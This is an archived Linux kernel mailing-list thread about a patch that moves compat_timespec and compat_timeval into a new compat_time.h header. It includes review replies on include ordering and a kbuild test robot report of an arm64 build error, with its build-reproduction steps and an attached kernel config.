 #include <linux/mutex.h>
 #include <linux/cma.h>
 #include <linux/mm.h>
-#include <asm/compat.h>
 #include <asm/cpcmd.h>
 #include <asm/debug.h>
 #include <asm/vmcp.h>
diff --git a/drivers/s390/cio/chsc_sch.c b/drivers/s390/cio/chsc_sch.c
index 0015729d917d..8d9f36625ba5 100644
--- a/drivers/s390/cio/chsc_sch.c
+++ b/drivers/s390/cio/chsc_sch.c
@@ -16,7 +16,6 @@
 #include <linux/miscdevice.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/compat.h>
 #include <asm/cio.h>
 #include <asm/chsc.h>
 #include <asm/isc.h>
diff --git a/drivers/s390/net/qeth_core_main.c b/drivers/s390/net/qeth_core_main.c
index c8b308cfabf1..d3529ef6e0f7 100644
--- a/drivers/s390/net/qeth_core_main.c
+++ b/drivers/s390/net/qeth_core_main.c
@@ -10,6 +10,7 @@
 #define KMSG_COMPONENT "qeth"
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
+#include <linux/compat.h>
 #include <linux/module.h>
 #include <linux/moduleparam.h>
 #include <linux/string.h>
@@ -32,7 +33,6 @@
 #include <asm/chpid.h>
 #include <asm/io.h>
 #include <asm/sysinfo.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/cio.h>
 #include <asm/ccwdev.h>
diff --git a/include/linux/compat.h b/include/linux/compat.h
index bdf1908a392e..0eb4a3a8f62e 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -7,6 +7,7 @@
  */
 
 #include <linux/types.h>
+#include <linux/compat_time.h>
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
diff --git a/include/linux/compat_time.h b/include/linux/compat_time.h
new file mode 100644
index 000000000000..56a54a1e4355
--- /dev/null
+++ b/include/linux/compat_time.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_COMPAT_TIME_H
+#define _LINUX_COMPAT_TIME_H
+
+#include <linux/types.h>
+
+typedef s32		compat_time_t;
+
+struct compat_timespec {
+	compat_time_t	tv_sec;
+	s32		tv_nsec;
+};
+
+struct compat_timeval {
+	compat_time_t	tv_sec;
+	s32		tv_usec;
+};
+
+#endif /* _LINUX_COMPAT_TIME_H */
-- 
2.14.1



From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Mon, 12 Mar 2018 10:59:53 -0700
Lines: 78
Approved: news@gmane.org
Message-ID: <CABeXuvo-D-NFhhx9KXDFy6bYjp0-XZvoky6ugQGdBZr8DjUzxw@mail.gmail.com>
References: <20180116021818.24791-1-deepa.kernel@gmail.com>
 <20180116021818.24791-3-deepa.kernel@gmail.com>
 <c6fb6676-a8d3-8893-660c-2b9899c5d5ab@de.ibm.com>
 <CAK8P3a0Gm1L70EaFzJBk0drRNKtX0FE22BHOSrXBgH1wNfKZ5A@mail.gmail.com>
 <d8480da9-afe9-8a43-9c47-50919215a2de@de.ibm.com>
 <CABeXuvrdPV0q4ufuxEnqT6T3b8pCT5RLUfuAZ_cwXr0it8gj0Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520877482 20875 195.159.176.226 (12 Mar 2018 17:58:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Mar 2018 17:58:02 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
 Robert Richter <rric@kernel.org>, Chris Metcalf <cmetcalf@mellanox.com>,
 Arnd Bergmann <arnd@arndb.de>, Will Deacon <will.deacon@arm.com>,
 Arnaldo Carvalho de Melo <acme@ke
To: Christian Borntraeger <borntraeger@de.ibm.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Mon Mar 12 18:57:54 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evRhp-0005EW-Fa
	for glddd-devel@m.gmane.org; Mon, 12 Mar 2018 18:57:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 8E69022720;
	Mon, 12 Mar 2018 17:59:59 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OOV4VWXA960W; Mon, 12 Mar 2018 17:59:57 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id 0F0FC2226D;
	Mon, 12 Mar 2018 17:59:57 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 478E51C09A7
 for <devel@linuxdriverproject.org>; Mon, 12 Mar 2018 17:59:56 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 43DDA85F22
 for <devel@linuxdriverproject.org>; Mon, 12 Mar 2018 17:59:56 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id VDy5UK3w8cW1 for <devel@linuxdriverproject.org>;
 Mon, 12 Mar 2018 17:59:55 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f65.google.com (mail-it0-f65.google.com
 [209.85.214.65])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 0B1A785BF2
 for <devel@driverdev.osuosl.org>; Mon, 12 Mar 2018 17:59:55 +0000 (UTC)
Original-Received: by mail-it0-f65.google.com with SMTP id c11so12299338ith.4
 for <devel@driverdev.osuosl.org>; Mon, 12 Mar 2018 10:59:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=ElH4sAgG6jjT48s9ldSGD+nZ3K41SP2AmoM037n1vOw=;
 b=QWcECNJdF5bwRxTA8TRk2LyD/NzYY/z54YFfpTHmSd6YoJGczEIKH9AUmv9AypyKx2
 uWLAURe1K0RPH3WbvDcobqlT3wXxzgJqc9dXQ6B+UJ3oScU0QQ0assKUO4FB5/uXqnNd
 4hhCQmlr+AyB9fFx1zE7RYiuAePj+MnVdyxapqTjMbWjJA69SixK2s3MeXUEHJa81o/7
 Dfrq8p2aPFXagNp+IgTVIcGx9GIrnVx0QIKM3MMPCYsFdGRzdl7WLW+1zyVij9DkAE4/
 Gtrml5dkz7gKexqKy6RLhza8UchYMpL97dHwu+n/6pH3vO1c+oweRDYe4dRD9VFXOkNT
 lTuQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=ElH4sAgG6jjT48s9ldSGD+nZ3K41SP2AmoM037n1vOw=;
 b=HyVLO1p4VhxK/GBJkjlj8p2exBQwtxgyg4a1LRMUX3jlzI22/CTq1aNMvPakJEVX8+
 A72g/CI99NbHZhRYbULpwu0/tkA+Gf5lpZNyRIyVXTMyTrcyZ9kDcKXPkgZGXHsirvUJ
 4Qrut7+BGoYUjJoPjSKwHOWm9ZUPOpt/RJFG7xvasJ/S37uh8SEe3unl7VGp6Sg8wsD0
 uSwI216ORRR/1N9pu5SpknNDsOp2RY0h9zayvc209+tRWWy+qlqowbB45tibBl+GdU6C
 0sjsiUulAMf6y4E6W03Y3mTvHot6BzB7FDYqFIswp7ElCbGcbRJF5yIVd186pwIIVpn+
 t3ng==
X-Gm-Message-State: AElRT7FiIpF62P3MGyVxpEfnt36LYy34y6QYnY0q1a7SZqM1iIYi66l3
 ohvovktYswjeAOLqv8wiGcpdb8vy5ZM3eIWvwgk=
X-Google-Smtp-Source: AG47ELvmYN1hT/qOba3lBdwigY6vg+LKomiWu6QbCBMhypSff9Bx4nlBmH66GQ1f55tgf+gdhqbkq3EB3knhZ5dtY48=
X-Received: by 10.36.55.70 with SMTP id r67mr10036545itr.40.1520877594371;
 Mon, 12 Mar 2018 10:59:54 -0700 (PDT)
Original-Received: by 10.107.232.26 with HTTP; Mon, 12 Mar 2018 10:59:53 -0700 (PDT)
In-Reply-To: <CABeXuvrdPV0q4ufuxEnqT6T3b8pCT5RLUfuAZ_cwXr0it8gj0Q@mail.gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114328 gmane.linux.ports.mips.general:63994 gmane.linux.ports.sparc:27409 gmane.linux.kernel.year-2038:2538 gmane.linux.oprofile:13164 gmane.linux.ports.parisc:28316 gmane.linux.kernel:2711242 gmane.linux.ports.ppc64.devel:154291
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114328>

I posted the updated series. I fixed up the order of include files
where I could find some order.
There have been other commits that used scripts to do such
replacements and have already stomped on the order.
For example:

commit 7c0f6ba682b9c7632072ffbedf8d328c8f3c42ba
Author: Linus Torvalds <torvalds@linux-foundation.org>
Replace <asm/uaccess.h> with <linux/uaccess.h> globally

-Deepa


On Tue, Mar 6, 2018 at 2:58 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> On Tue, Mar 6, 2018 at 4:48 AM, Christian Borntraeger
> <borntraeger@de.ibm.com> wrote:
>>
>>
>> On 03/06/2018 01:46 PM, Arnd Bergmann wrote:
>>> On Mon, Mar 5, 2018 at 10:30 AM, Christian Borntraeger
>>> <borntraeger@de.ibm.com> wrote:
>>>> On 01/16/2018 03:18 AM, Deepa Dinamani wrote:
>>>>> All the current architecture specific defines for these
>>>>> are the same. Refactor these common defines to a common
>>>>> header file.
>>>>>
>>>>> The new common linux/compat_time.h is also useful as it
>>>>> will eventually be used to hold all the defines that
>>>>> are needed for compat time types that support non y2038
>>>>> safe types. New architectures need not have to define these
>>>>> new types as they will only use new y2038 safe syscalls.
>>>>> This file can be deleted after y2038 when we stop supporting
>>>>> non y2038 safe syscalls.
>>>>
>>>> You are now include a <linux/*.h> from several asm files
>>>> (
>>>>  arch/arm64/include/asm/stat.h
>>>>  arch/s390/include/asm/elf.h
>>>>  arch/x86/include/asm/ftrace.h
>>>>  arch/x86/include/asm/sys_ia32.h
>>>> )
>>>> It works, and it is done in many places, but it looks somewhat weird.
>>>> Would it make sense to have an asm-generic/compate-time.h instead? Asking for
>>>> opinions here.
>>>
>>> I don't think we have such a rule. If a header file is common to all
>>> architectures (i.e. no architecture uses a different implementation),
>>> it should be in include/linux rather than include/asm-generic, regardless
>>> of whether it can be used by assembler files or not.
>>>
>>>>> --- a/drivers/s390/net/qeth_core_main.c
>>>>> +++ b/drivers/s390/net/qeth_core_main.c
>>>>> @@ -32,7 +32,7 @@
>>>>>  #include <asm/chpid.h>
>>>>>  #include <asm/io.h>
>>>>>  #include <asm/sysinfo.h>
>>>>> -#include <asm/compat.h>
>>>>> +#include <linux/compat.h>
>>>>>  #include <asm/diag.h>
>>>>>  #include <asm/cio.h>
>>>>>  #include <asm/ccwdev.h>
>>>>
>>>> Can you move that into the other includes (where all the other <linux/*> includes are.
>>>
>>> Good catch, this is definitely a rule we have ;-)
>>
>> FWIW, this was also broken for
>> arch/x86/include/asm/sys_ia32.h
>
> The reason that this was done this way is because of the sed script
> mentioned in the commit text.
> I was trying to make minimal change apart from the script so that we
> don't have other changes like moving the lines to keep the patch
> simpler.
> I will fix this by hand since this is preferred.
> I will post an update.
>
> -Deepa

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 13 Mar 2018 23:22:08 +0800
Lines: 248
Approved: news@gmane.org
Message-ID: <201803132313.a4R8Y434%fengguang.wu@intel.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="+QahgC5+KEYLbs62"
X-Trace: blaine.gmane.org 1520954483 25365 195.159.176.226 (13 Mar 2018 15:21:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Mar 2018 15:21:23 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, borntraeger@de.ibm.com, mingo@redhat.com,
 oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 oberpar@linux.vnet.ibm.com, rric@kernel.org, cmetcalf@mellanox.com,
 arnd@arndb.de, will.deacon@arm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 john.stultz@linaro.org, rostedt@goodmis.org, tglx@linutronix.de,
 gerald.schaefer@de.ibm.com, linux-parisc@vger.kernel.org,
 gregkh@linuxfoundation.org, cohuck@redhat.com, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, davem@davemloft.net, hoeppner@linux.vnet.ibm.com,
 kbuild
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Mar 13 16:21:14 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evljm-0006MT-A6
	for glddd-devel@m.gmane.org; Tue, 13 Mar 2018 16:21:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 0A72187234;
	Tue, 13 Mar 2018 15:23:21 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EXGpWhnrVkCk; Tue, 13 Mar 2018 15:23:19 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 675A584E47;
	Tue, 13 Mar 2018 15:23:19 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (smtp3.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id BF21D1C1FB9
 for <devel@linuxdriverproject.org>; Tue, 13 Mar 2018 15:23:18 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id BB5C5274E1
 for <devel@linuxdriverproject.org>; Tue, 13 Mar 2018 15:23:18 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id c8Pk7TWJHwX9 for <devel@linuxdriverproject.org>;
 Tue, 13 Mar 2018 15:23:17 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga11.intel.com (mga11.intel.com [192.55.52.93])
 by silver.osuosl.org (Postfix) with ESMTPS id 538E82744E
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 15:23:17 +0000 (UTC)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
 by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 13 Mar 2018 08:23:16 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.47,465,1515484800"; 
 d="gz'50?scan'50,208,50";a="34633788"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga003.jf.intel.com with ESMTP; 13 Mar 2018 08:23:08 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu@intel.com>)
 id 1evlkY-000Ufg-PS; Tue, 13 Mar 2018 23:22:02 +0800
Content-Disposition: inline
In-Reply-To: <20180312175307.11032-3-deepa.kernel@gmail.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114370 gmane.linux.ports.mips.general:64000 gmane.linux.ports.sparc:27410 gmane.linux.kernel.year-2038:2539 gmane.linux.oprofile:13165 gmane.linux.ports.parisc:28317 gmane.linux.kernel:2712226 gmane.linux.ports.ppc64.devel:154316
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114370>


--+QahgC5+KEYLbs62
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Deepa,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on ]

url:    https://github.com/0day-ci/linux/commits/Deepa-Dinamani/posix_clocks-Prepare-syscalls-for-64-bit-time_t-conversion/20180313-203305
base:    
config: arm64-allnoconfig (attached as .config)
compiler: aarch64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=arm64 

All errors (new ones prefixed by >>):

   arch/arm64/kernel/process.c: In function 'copy_thread':
>> arch/arm64/kernel/process.c:342:8: error: implicit declaration of function 'is_compat_thread'; did you mean 'is_compat_task'? [-Werror=implicit-function-declaration]
       if (is_compat_thread(task_thread_info(p)))
           ^~~~~~~~~~~~~~~~
           is_compat_task
   cc1: some warnings being treated as errors

vim +342 arch/arm64/kernel/process.c

b3901d54d Catalin Marinas  2012-03-05  307  
b3901d54d Catalin Marinas  2012-03-05  308  int copy_thread(unsigned long clone_flags, unsigned long stack_start,
afa86fc42 Al Viro          2012-10-22  309  		unsigned long stk_sz, struct task_struct *p)
b3901d54d Catalin Marinas  2012-03-05  310  {
b3901d54d Catalin Marinas  2012-03-05  311  	struct pt_regs *childregs = task_pt_regs(p);
b3901d54d Catalin Marinas  2012-03-05  312  
c34501d21 Catalin Marinas  2012-10-05  313  	memset(&p->thread.cpu_context, 0, sizeof(struct cpu_context));
c34501d21 Catalin Marinas  2012-10-05  314  
bc0ee4760 Dave Martin      2017-10-31  315  	/*
bc0ee4760 Dave Martin      2017-10-31  316  	 * Unalias p->thread.sve_state (if any) from the parent task
bc0ee4760 Dave Martin      2017-10-31  317  	 * and disable discard SVE state for p:
bc0ee4760 Dave Martin      2017-10-31  318  	 */
bc0ee4760 Dave Martin      2017-10-31  319  	clear_tsk_thread_flag(p, TIF_SVE);
bc0ee4760 Dave Martin      2017-10-31  320  	p->thread.sve_state = NULL;
bc0ee4760 Dave Martin      2017-10-31  321  
071b6d4a5 Dave Martin      2017-12-05  322  	/*
071b6d4a5 Dave Martin      2017-12-05  323  	 * In case p was allocated the same task_struct pointer as some
071b6d4a5 Dave Martin      2017-12-05  324  	 * other recently-exited task, make sure p is disassociated from
071b6d4a5 Dave Martin      2017-12-05  325  	 * any cpu that may have run that now-exited task recently.
071b6d4a5 Dave Martin      2017-12-05  326  	 * Otherwise we could erroneously skip reloading the FPSIMD
071b6d4a5 Dave Martin      2017-12-05  327  	 * registers for p.
071b6d4a5 Dave Martin      2017-12-05  328  	 */
071b6d4a5 Dave Martin      2017-12-05  329  	fpsimd_flush_task_state(p);
071b6d4a5 Dave Martin      2017-12-05  330  
9ac080021 Al Viro          2012-10-21  331  	if (likely(!(p->flags & PF_KTHREAD))) {
9ac080021 Al Viro          2012-10-21  332  		*childregs = *current_pt_regs();
b3901d54d Catalin Marinas  2012-03-05  333  		childregs->regs[0] = 0;
d00a3810c Will Deacon      2015-05-27  334  
b3901d54d Catalin Marinas  2012-03-05  335  		/*
b3901d54d Catalin Marinas  2012-03-05  336  		 * Read the current TLS pointer from tpidr_el0 as it may be
b3901d54d Catalin Marinas  2012-03-05  337  		 * out-of-sync with the saved value.
b3901d54d Catalin Marinas  2012-03-05  338  		 */
adf758999 Mark Rutland     2016-09-08  339  		*task_user_tls(p) = read_sysreg(tpidr_el0);
d00a3810c Will Deacon      2015-05-27  340  
e0fd18ce1 Al Viro          2012-10-18  341  		if (stack_start) {
d00a3810c Will Deacon      2015-05-27 @342  			if (is_compat_thread(task_thread_info(p)))
d00a3810c Will Deacon      2015-05-27  343  				childregs->compat_sp = stack_start;
d00a3810c Will Deacon      2015-05-27  344  			else
b3901d54d Catalin Marinas  2012-03-05  345  				childregs->sp = stack_start;
b3901d54d Catalin Marinas  2012-03-05  346  		}
d00a3810c Will Deacon      2015-05-27  347  
c34501d21 Catalin Marinas  2012-10-05  348  		/*
c34501d21 Catalin Marinas  2012-10-05  349  		 * If a TLS pointer was passed to clone (4th argument), use it
c34501d21 Catalin Marinas  2012-10-05  350  		 * for the new thread.
c34501d21 Catalin Marinas  2012-10-05  351  		 */
b3901d54d Catalin Marinas  2012-03-05  352  		if (clone_flags & CLONE_SETTLS)
d00a3810c Will Deacon      2015-05-27  353  			p->thread.tp_value = childregs->regs[3];
c34501d21 Catalin Marinas  2012-10-05  354  	} else {
c34501d21 Catalin Marinas  2012-10-05  355  		memset(childregs, 0, sizeof(struct pt_regs));
c34501d21 Catalin Marinas  2012-10-05  356  		childregs->pstate = PSR_MODE_EL1h;
57f4959ba James Morse      2016-02-05  357  		if (IS_ENABLED(CONFIG_ARM64_UAO) &&
a4023f682 Suzuki K Poulose 2016-11-08  358  		    cpus_have_const_cap(ARM64_HAS_UAO))
57f4959ba James Morse      2016-02-05  359  			childregs->pstate |= PSR_UAO_BIT;
c34501d21 Catalin Marinas  2012-10-05  360  		p->thread.cpu_context.x19 = stack_start;
c34501d21 Catalin Marinas  2012-10-05  361  		p->thread.cpu_context.x20 = stk_sz;
c34501d21 Catalin Marinas  2012-10-05  362  	}
c34501d21 Catalin Marinas  2012-10-05  363  	p->thread.cpu_context.pc = (unsigned long)ret_from_fork;
c34501d21 Catalin Marinas  2012-10-05  364  	p->thread.cpu_context.sp = (unsigned long)childregs;
b3901d54d Catalin Marinas  2012-03-05  365  
b3901d54d Catalin Marinas  2012-03-05  366  	ptrace_hw_copy_thread(p);
b3901d54d Catalin Marinas  2012-03-05  367  
b3901d54d Catalin Marinas  2012-03-05  368  	return 0;
b3901d54d Catalin Marinas  2012-03-05  369  }
b3901d54d Catalin Marinas  2012-03-05  370  

:::::: The code at line 342 was first introduced by commit
:::::: d00a3810c16207d2541b7796a73cca5a24ea3742 arm64: context-switch user tls register tpidr_el0 for compat tasks

:::::: TO: Will Deacon <will.deacon@arm.com>
:::::: CC: Catalin Marinas <catalin.marinas@arm.com>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--+QahgC5+KEYLbs62
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICCznp1oAAy5jb25maWcAlDxbc9s2s+/9FZyvM2fah6byJY4zZ/wAgaCEiiQYApTkvHAU
S0k0sSV/urTNvz+7ACXeFkpOO60l7OK698VCv/7ya8COh+3L4rB+Wjw/fw++rDar3eKwWgaf
18+r/w1CFaTKBCKU5g0gx+vN8d8/F7uXu9vg9s3V3ZvBH7un22Cy2m1WzwHfbj6vvxyh/3q7
+eXXX7hKIzkqWZ7c3T58P329ux1KU39lOR+X2fhRlywM89J04UlSNJFhqDJjI1HqsYzMw9V1
GwRfTAW6bc2QJCwr8zQsYXBdJjJ9uLq/hMDmD9eeEbhKMmYaA139BB6Md3V3wktVKVWmcgPt
Wb07bRifmJxx2F2RIbyGyTgWIxaXmZKpEXk5ZXEhHgb/LleL5aDxzwk/VnwSiqw/kBtf5h+i
mI10H57PtEjKOR+PgB4li0cql2ac1AgjkYpc8nI8E3I0Nn0A1wWBzlkshzkzogxFzB5rhI8q
hbaE3VzXbWM2FeeeoyLrsAtge7glFSK0YCQCnKcRHZgeWXAs0pEZN44+adJhJpWJh43DV8CF
5VjEmcjr1onIUxGXiQoFjK3SGhLJeSlYHj/C9zIRjdPIRoYNYwHzT0WsH25a26poocsiy9VQ
6K6Q5IqXE65yURoxb2x6WMg4NDIRJTTb4XWb5ONcsLCUaQR8l5aG6QkAQUB/DUZW3p+D/epw
fK1FVqbSlCKdwsTASjKBI745SxrPldaWu2UsHv7zHxjmBHFtsDxtgvU+2GwPOHKDJ1k8FbmW
cFjNfk1AyQqjiM6hiFgRm3KstElZAhP/ttluVr83htGPeioz3uxcL80uGmih8seSGZC0MYlX
aAF8SsxvWdLSgRWgDWEuWHN8OkeQp2B//LT/vj+sXupzPLEwgEtL075cIEiP1cwPccxCw0UU
CW4kLi2KgOktZc8rzkPAARmflbnQIg0bHA19Q5UwmVJt5ViKHPf62J810RIxvYDesGOWhsAT
1citrogeqZyDXDoelemoIYYZy7Vo97AE4KjctCqgYxkyw/prscIwrWnU1UU4ABxqaroyNmYa
OvNJOcwVCznTlH6re7fQLCOY9ctqt6d4YfyxBPUhVSg5IJ8ZDmwBQCQcEcmPDhwVcewHk5Ax
